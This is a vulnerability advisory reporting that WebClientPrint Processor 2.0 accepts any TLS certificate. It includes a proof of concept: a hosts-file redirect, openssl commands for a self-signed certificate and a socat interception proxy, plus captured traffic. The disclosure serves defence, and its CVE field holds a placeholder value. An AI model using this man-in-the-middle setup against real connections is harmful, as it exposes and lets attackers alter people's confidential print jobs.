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WebClientPrint Processor 2.0: No Validation of TLS Certificates

RedTeam Pentesting discovered that WebClientPrint Processor (WCPP) does not validate TLS certificates when initiating HTTPS connections. Thus, a man-in-the-middle attacker may intercept and/or modify HTTPS traffic in transit. This may result in a disclosure of sensitive information and the integrity of printed documents cannot be guaranteed.

Details

  • Product: Neodynamic WebClientPrint Processor
  • Affected Versions: 2.0.15.109 (Microsoft Windows)
  • Fixed Versions: >= 2.0.15.910
  • Vulnerability Type: Improper Certificate Validation
  • Security Risk: medium
  • Vendor URL: http://www.neodynamic.com/
  • Vendor Status: fixed version released
  • Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-011
  • Advisory Status: published
  • CVE: GENERIC-MAP-NOMATCH
  • CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH

Introduction

Neodynamic’s WebClientPrint Processor is a client-side application, which allows server-side applications to print documents on a client’s printer without user interaction, bypassing the browser’s print functionality. The server-side application may be written in ASP.NET or PHP while on the client-side multiple platforms and browsers are supported.

“Send raw data, text and native commands to client printers without showing or displaying any print dialog box!” (Neodynamic’s website)

More Details

Upon installation under Microsoft Windows, WCPP registers itself as a handler for the “webclientprint” URL scheme. Thus, any URL starting with “webclientprint:” is handled by WCPP. For example, entering

webclientprint:-about

in the URL bar of a browser opens the about box of WCPP.

Neodynamic prodvides an online demo for test printing at the following URL:

http://webclientprint.azurewebsites.net/

If visited via HTTPS, the WCPP component on the client-side will try to fetch the print job via HTTPS as well.

Proof of Concept

To simulate a man-in-the-middle scenario, an entry similar to the following was appended to the “hosts” file:

10.0.2.2 webclientprint.azurewebsites.net

On the host 10.0.2.2, a self-signed certificate can be generated and afterwards socat (http://www.dest-unreach.org/socat/) can be used to intercept and display the encrypted HTTP traffic as follows:

$ openssl genrsa -out server.key 4096
$ openssl dhparam -out dhparam.pem 1024
$ openssl req -new -x509 -key server.key -out server.pem -days 365 \
-subj /CN=webclientprint.azurewebsites.net
$ cat server.key >> server.pem
$ cat dhparam.pem >> server.pem
$ sudo socat -v openssl-listen:443,reuseaddr,verify=0,fork,\
cert=server.pem openssl-connect:webclientprint.azurewebsites.net:443,\
verify=0

The demo website is available via HTTPS using the following URL:

https://webclientprint.azurewebsites.net/

Any modern browser displays a warning due to the invalid TLS certificate presented by socat.

On the contrary, WCPP simply accepts any certificate it is presented with, when, for examplem printing a demo TXT file. Such a request is given in the listing below. The output has been shortened and wrapped manually for better readability.

GET /DemoPrintFile.ashx?clientPrint&useDefaultPrinter=undefined&
    printerName=null&filetype=TXT HTTP/1.0\r
Host: webclientprint.azurewebsites.net\r
User-Agent: WCPP/2.0.15.109(Windows; 6.1)\r
Accept-Encoding: gzip, deflate\r
\r
< 2015/09/07 10:29:27.478913  length=3538 from=0 to=3537
HTTP/1.1 200 OK\r
Cache-Control: private\r
Content-Length: 3180\r
Content-Type: application/octet-stream\r
Server: Microsoft-IIS/8.0\r
X-AspNet-Version: 4.0.30319\r
X-Powered-By: ASP.NET\r
Set-Cookie: ARRAffinity=23c01e1a9de38f884445e396de9940aef5941b9af3f6d9
    cfa57066fe4d5fcb16;Path=/;Domain=webclientprint.azurewebsites.net\r
Date: Mon, 07 Sep 2015 08:29:27 GMT\r
Connection: close\r
\r
cpj..\v...\v..wcpPF:9c8d5316ffeb403d8be09565c2391f92.TXT|Printed By
WebClientPrint\r
=========================\r
\r
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce urna
massa, eleifend non posuere quis, iaculis et libero. Curabitur lacinia
dolor non nisl pharetra tempus.
[...]
Etiam nisl nisi, eleifend vel molestie tincidunt, porttitor ac nunc.
Vestibulum vulputate magna gravida neque imperdiet ac viverra nulla
suscipit..Acopian Technical Company - 1 WebApp Lic - 2 WebServer
Lic|xxxxxxxxxxxxxxxxxxxxx

This shows that WCPP does not verify TLS certificates when establishing HTTPS connections.

Workaround

Affected users should disable the WCPP handler and upgrade to a fixed version as soon as possible.

Fix

Install a WCPP version greater or equal to 2.0.15.910 (https://neodynamic.wordpress.com/2015/09/15/webclientprint-2-0-for-windows-clients-critical-update/).

Security Risk

WCPP does not verify TLS certificates when establishing HTTPS connections. Man-in-the-middle attackers can therefore intercept those connections with little effort. This may lead to a disclosure of confidential information if sensitive documents are printed via WCPP. Furthermore, the integrity of the printed documents cannot be guaranteed as attackers are able to modify the documents in transit.

The described attack requires a man-in-the-middle position which is a rather strong prerequisite. It is therefore estimated that the vulnerability poses a medium risk.

Timeline

  • 2015-08-24 Vulnerability identified
  • 2015-09-03 Customer approved disclosure to vendor
  • 2015-09-04 Asked vendor for security contact
  • 2015-09-04 CVE number requested
  • 2015-09-04 Vendor responded with security contact
  • 2015-09-07 Vendor notified
  • 2015-09-07 Vendor acknowledged receipt of advisory
  • 2015-09-15 Vendor released fixed version
  • 2015-09-16 Customer asked to wait with advisory release until all their
    clients are updated
  • 2017-07-31 Customer approved advisory release
  • 2017-08-22 Advisory released

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